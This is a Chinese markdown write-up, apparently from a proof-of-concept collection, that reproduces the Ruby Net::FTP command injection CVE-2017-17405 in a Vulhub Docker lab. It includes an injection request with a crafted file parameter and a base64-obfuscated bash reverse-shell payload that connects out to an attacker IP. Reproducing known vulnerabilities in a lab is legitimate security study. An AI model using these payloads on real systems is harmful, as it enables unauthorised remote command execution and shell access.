Awesome-POC/中间件漏洞/Ruby NetFTP 模块命令注入漏洞 CVE-2017-17405.md
2024-11-06 14:10:36 +08:00

61 lines
2.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ruby Net::FTP 模块命令注入漏洞 CVE-2017-17405
## 漏洞描述
Ruby Net::FTP 模块是一个FTP客户端在上传和下载文件的过程中打开本地文件时使用了`open`函数。而在ruby中`open`函数是借用系统命令来打开文件且没用过滤shell字符导致在用户控制文件名的情况下将可以注入任意命令。
## 环境搭建
Vulhub编译及运行漏洞环境
```
docker-compose build
docker-compose up -d
```
环境启动后,访问`http://your-ip:8080/`将可以看到一个HTTP服务。这个HTTP服务的作用是我们访问`http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt`它会从example.com:2121这个ftp服务端下载文件vulhub.txt到本地并将内容返回给用户。
## 漏洞复现
因为这是一个FTP客户端的漏洞所以我们需要先运行一个可以被访问到的服务端。比如使用python
```
# 安装pyftpdlib
pip install pyftpdlib
# 在当前目录下启动一个ftp服务器默认监听在`0.0.0.0:2121`端口
python3 -m pyftpdlib -p 2121 -i 0.0.0.0
```
![image-20220228221133067](images/202202282211126.png)
然后即可开始利用漏洞。注入命令`|touch${IFS}awesome_poc.txt`(空格用`${IFS}`代替原因不表发送如下数据包即可其中uri指定的ftp服务器就是我用python运行的一个简单的ftp server其中无需放置任何文件
```
GET /download?uri=ftp://your-vps:2121/&file=|touch${IFS}awesome_poc.txt HTTP/1.1
Host: your-ip:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```
![image-20220228221337350](images/202202282213424.png)
然后进入docker容器内可见awesome_poc.txt已被创建
![image-20220228221433232](images/202202282214280.png)
执行反弹shell的命令成功反弹
```
|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYxCgo}|{base64,-d}|{bash,-i}'
```
![image-20220228221216580](images/202202282212651.png)
> kali中反弹失败vps反弹成功可能是因为kali的默认shell为zsh